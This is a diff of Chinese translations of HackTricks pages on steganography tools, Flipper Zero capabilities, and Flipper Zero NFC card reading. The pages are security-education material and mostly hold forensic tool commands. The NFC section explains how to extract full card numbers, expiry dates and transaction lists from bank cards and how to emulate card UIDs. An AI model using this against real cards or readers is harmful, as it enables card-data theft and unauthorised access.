* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
</details>

View file

@ -1,24 +1,24 @@
# Stego Tricks
# Stego技巧
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
![](<../.gitbook/assets/image (9) (1) (2).png>)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.io/)可以轻松构建和**自动化工作流程**,使用全球最先进的社区工具。\
立即获取访问权限:
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 从所有文件中提取数据
@ -73,7 +73,7 @@ Foremost是一款根据文件头、文件尾和内部数据结构恢复文件的
### cmp - 比较
如果你有一些**修改过的**图像/音频/视频文件,请检查是否可以在互联网上找到**完全相同的原始文件**,然后使用以下命令比较两个文件:
如果您有一些**修改过的**图像/音频/视频,请检查是否可以在互联网上找到**完全相同的原始文件**,然后使用以下命令比较两个文件:
```
cmp original.jpg stego.jpg -b -l
```
@ -87,7 +87,7 @@ cmp original.jpg stego.jpg -b -l
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
使用[**Trickest**](https://trickest.io/)轻松构建和**自动化工作流**,由全球**最先进**的社区工具提供支持。\
使用[**Trickest**](https://trickest.io/)可以轻松构建和**自动化工作流**,使用全球**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -124,13 +124,13 @@ zsteg是一个可以检测png和bmp文件中隐藏数据的工具。\
`zsteg -a file`:对给定的文件运行每种检测方法。\
`zsteg -E file`使用给定的有效载荷提取数据例如zsteg -E b4,bgr,msb,xy name.png
### stegoVeritas JPG, PNG, GIF, TIFF, BMP
### stegoVeritas JPGPNGGIFTIFFBMP
这个工具可以行各种简单和高级技巧可以检查文件元数据创建转换后的图像暴力破解LSB等等。查看`stegoveritas.py -h`以了解其全部功能。执行`stegoveritas.py stego.jpg`以运行所有检查。
这个工具可以行各种简单和高级技巧可以检查文件元数据创建转换后的图像暴力破解LSB等等。查看`stegoveritas.py -h`以了解其全部功能。执行`stegoveritas.py stego.jpg`以运行所有检查。
### Stegsolve
有时图像本身隐藏有消息或文本,为了查看它,必须应用颜色滤镜或者改变一些颜色级别。虽然您可以使用像GIMP或Photoshop这样的工具来做到这一点但Stegsolve使得这一过程更加简单。它是一个小型的Java工具可以在图像上应用许多有用的颜色滤镜在CTF挑战中Stegsolve通常是一个真正的时间节省器。\
有时图像本身隐藏有消息或文本,为了查看它,必须应用颜色滤镜或更改某些颜色级别。虽然您可以使用像GIMP或Photoshop这样的工具来完成但Stegsolve使得这个过程更加简单。它是一个小型的Java工具可以在图像上应用许多有用的颜色滤镜在CTF挑战中Stegsolve通常是一个真正的时间节省器。\
您可以从[Github](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)获取它。\
要使用它,只需打开图像并单击`<` `>`按钮。
@ -150,7 +150,7 @@ zsteg是一个可以检测png和bmp文件中隐藏数据的工具。\
### Pngcheck
获取PNG文件的详细信息甚至可以找出它实际上是其他类型的文件。\
获取PNG文件的详细信息甚至可以找出它实际上是其他类型的文件)。\
`apt-get install pngcheck`:安装工具\
`pngcheck stego.png`获取有关PNG的信息
@ -185,7 +185,7 @@ WavSteg是一个Python3工具可以使用最低有效位在wav文件中隐藏
### Sonic visualizer <a href="#sonic-visualizer" id="sonic-visualizer"></a>
Sonic visualizer是一查看和分析音频文件内容的工具。在面对音频隐写挑战时,它非常有帮助;您可以揭示许多其他工具无法检测到的音频文件中隐藏的形状。\
Sonic visualizer是一款用于查看和分析音频文件内容的工具。在面对音频隐写挑战时,它非常有帮助;您可以揭示许多其他工具无法检测到的音频文件中隐藏的形状。\
如果遇到困难,请始终检查音频的频谱图。[官方网站](https://www.sonicvisualiser.org/)
### DTMF音调 - 拨号音
@ -213,22 +213,21 @@ math.sqrt(2500) #50
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
![](<../.gitbook/assets/image (9) (1) (2).png>)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.io/)轻松构建和自动化由全球**最先进**的社区工具提供支持的工作流程。\
立即获取访问权限:
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的公司广告吗或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details>

View file

@ -2,37 +2,52 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告** 吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合:[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass),或者在 **Twitter****关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder 跟踪你的攻击面,运行主动威胁扫描,发现整个技术栈中的问题,从 API 到 Web 应用和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
使用 [**Flipper Zero**](https://flipperzero.one/) 你可以:
* **监听/捕获/重放无线电频率:** [**Sub-GHz**](fz-sub-ghz.md)****
* **读取/捕获/模拟 NFC 卡片:** [**NFC**](fz-nfc.md)****
* **读取/捕获/模拟 125kHz 标签:** [**125kHz RFID**](fz-125khz-rfid.md)****
* **读取/捕获/发送红外信号:**[**Infrared**](fz-infrared.md)****
* **读取/捕获/发送红外信号:** [**红外**](fz-infrared.md)****
* **读取/捕获/模拟 iButtons** [**iButton**](../ibutton.md)****
* **用作 Bad USB**
* **用作安全密钥 (U2F)**
* **玩贪吃蛇**
* **玩贪吃蛇游戏**
**其他 Flipper Zero 资源在** [**https://github.com/djsime1/awesome-flipperzero**](https://github.com/djsime1/awesome-flipperzero)****
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder 跟踪你的攻击面,运行主动威胁扫描,发现整个技术栈中的问题,从 API 到 Web 应用和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告** 吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合:[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass),或者在 **Twitter****关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details>

View file

@ -2,16 +2,24 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中看到你的**公司广告**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您可以更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 简介 <a href="#9wrzi" id="9wrzi"></a>
有关 RFID 和 NFC 的信息,请查看以下页面:
@ -23,37 +31,37 @@
## 支持的 NFC 卡 <a href="#9wrzi" id="9wrzi"></a>
{% hint style="danger" %}
除了NFC卡外Flipper Zero还支持其他类型的高频卡如几种Mifare Classic和Ultralight以及NTAG。
除了 NFC 卡外Flipper Zero 还支持其他类型的高频卡,如几种 Mifare Classic Ultralight 以及 NTAG。
{% endhint %}
新类型的NFC卡将被添加到支持的卡列表中。Flipper Zero支持以下**NFC卡类型A**ISO 14443A
支持的卡片类型列表将添加新的 NFC 卡片类型。Flipper Zero 支持以下 **NFC 卡片类型 A**ISO 14443A
* **银行卡EMV** - 仅读取UID、SAK和ATQA不保存。
* **未知卡** - 读取UID、SAK、ATQA并模拟UID。
* **银行卡EMV** —— 仅读取 UID、SAK 和 ATQA不保存。
* **未知卡片** —— 读取UID、SAK、ATQA并模拟 UID。
对于**NFC卡类型B、类型F和类型V**Flipper Zero能够读取UID而不保存。
对于 **NFC 卡片类型 B、类型 F 和类型 V**Flipper Zero 能够读取 UID不保存。
### NFC卡类型A <a href="#uvusf" id="uvusf"></a>
### NFC 类型 A <a href="#uvusf" id="uvusf"></a>
#### 银行卡EMV <a href="#kzmrp" id="kzmrp"></a>
Flipper Zero只能读取银行卡的UID、SAK、ATQA和存储的数据**而不保存**。
Flipper Zero 只能读取 UID、SAK、ATQA 和银行卡上的存储数据,**不保存**。
银行卡读取屏幕对于银行卡Flipper Zero只能读取数据**不保存和模拟**。
银行卡读取屏幕对于银行卡Flipper Zero 只能读取数据**不保存和模拟**。
<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-26-31.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=916&#x26;w=2662" alt=""><figcaption></figcaption></figure>
#### 未知卡 <a href="#37eo8" id="37eo8"></a>
#### 未知卡 <a href="#37eo8" id="37eo8"></a>
当Flipper Zero**无法确定NFC卡的类型**时,只能**读取和保存**UID、SAK和ATQA。
Flipper Zero **无法确定 NFC 的类型**时,只能读取和保存 **UID、SAK ATQA**
未知卡读取屏幕对于未知的NFC卡Flipper Zero只能模拟UID。
未知卡读取屏幕对于未知的 NFC Flipper Zero 只能模拟 UID。
<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-27-53.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=932&#x26;w=2634" alt=""><figcaption></figcaption></figure>
### NFC卡类型B、F和V <a href="#wyg51" id="wyg51"></a>
### NFC 类型 B、F V <a href="#wyg51" id="wyg51"></a>
对于**NFC卡类型B、F和V**Flipper Zero只能读取和显示UID而不保存。
对于 **NFC 卡片类型 B、F 和 V**Flipper Zero 只能读取和显示 UID不保存。
<figure><img src="https://archbee.imgix.net/3StCFqarJkJQZV-7N79yY/zBU55Fyj50TFO4U7S-OXH_screenshot-2022-08-12-at-182540.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=1080&#x26;w=2704" alt=""><figcaption></figcaption></figure>
@ -63,36 +71,43 @@ Flipper Zero只能读取银行卡的UID、SAK、ATQA和存储的数据**而不
### 读取
Flipper Zero可以**读取NFC卡**,但是它**不理解所有基于ISO 14443的协议**。然而,由于**UID是一个低级属性**,你可能会遇到这样的情况,即**UID已经被读取但高级数据传输协议仍然未知**。你可以使用Flipper读取、模拟和手动输入UID用于使用UID进行授权的原始读卡器。
#### 读取UID与读取内部数据的区别 <a href="#reading-the-uid-vs-reading-the-data-inside" id="reading-the-uid-vs-reading-the-data-inside"></a>
Flipper Zero 可以**读取 NFC 卡片**,但是它**无法理解基于 ISO 14443 的所有协议**。然而,由于 **UID 是一个低级属性**,您可能会遇到这样的情况:**UID 已经被读取,但高级数据传输协议仍然未知**。您可以使用 Flipper 读取、模拟和手动输入 UID用于使用 UID 进行授权的原始读卡器。
#### 读取UID与读取内部数据 <a href="#reading-the-uid-vs-reading-the-data-inside" id="reading-the-uid-vs-reading-the-data-inside"></a>
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
在Flipper中读取13.56 MHz标签可以分为两个部分
在Flipper中读取13.56 MHz标签可以分为两部分
* **低级读取** - 仅读取UID、SAK和ATQA。Flipper根据从卡片读取的数据来猜测高级协议。由于这只是基于某些因素的假设无法百分之百确定。
* **高级读取** - 使用特定的高级协议从卡片的存储器中读取数据。这可能是读取Mifare Ultralight上的数据读取Mifare Classic的扇区或者读取PayPass/Apple Pay的卡片属性。
* **低级读取** - 仅读取UID、SAK和ATQA。Flipper根据从卡中读取的这些数据尝试猜测高级协议。由于这只是基于某些因素的假设你无法百分之百确定。
* **高级读取** - 使用特定的高级协议从卡的存储器中读取数据。这可能是读取Mifare Ultralight上的数据读取Mifare Classic的扇区或者读取PayPass/Apple Pay的卡属性。
### 读取特定卡片
如果Flipper Zero无法从低级数据中找到卡片类型在`额外操作`中,您可以选择`读取特定卡片类型`并**手动指定您想要读取的卡片类型**。
#### EMV银行卡PayPasspayWaveApple PayGoogle Pay<a href="#emv-bank-cards-paypass-paywave-apple-pay-google-pay" id="emv-bank-cards-paypass-paywave-apple-pay-google-pay"></a>
#### EMV银行卡PayPass、payWave、Apple Pay、Google Pay <a href="#emv-bank-cards-paypass-paywave-apple-pay-google-pay" id="emv-bank-cards-paypass-paywave-apple-pay-google-pay"></a>
除了简单地读取UID外您还可以从银行卡中提取更多数据。可以**获取完整的卡号**卡片正面的16位数字**有效期**,在某些情况下甚至可以获取**持卡人姓名**以及**最近交易的列表**。\
但是,您**无法通过这种方式读取CVV**卡片背面的3位数字。此外**银行卡受到重放攻击的保护**因此使用Flipper复制它然后尝试模拟支付是行不通的。
除了简单地读取UID外您还可以从银行卡中提取更多数据。可以获取到**完整的卡号**卡片正面的16位数字**有效期**,在某些情况下甚至可以获取**持卡人姓名**以及**最近交易的列表**。\
然而您无法通过这种方式读取CVV卡片背面的3位数字。此外银行卡受到重放攻击的保护因此使用Flipper复制银行卡并尝试模拟支付是行不通的。
## 参考资料
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找出最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的公司广告吗或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**

View file

@ -2,25 +2,33 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
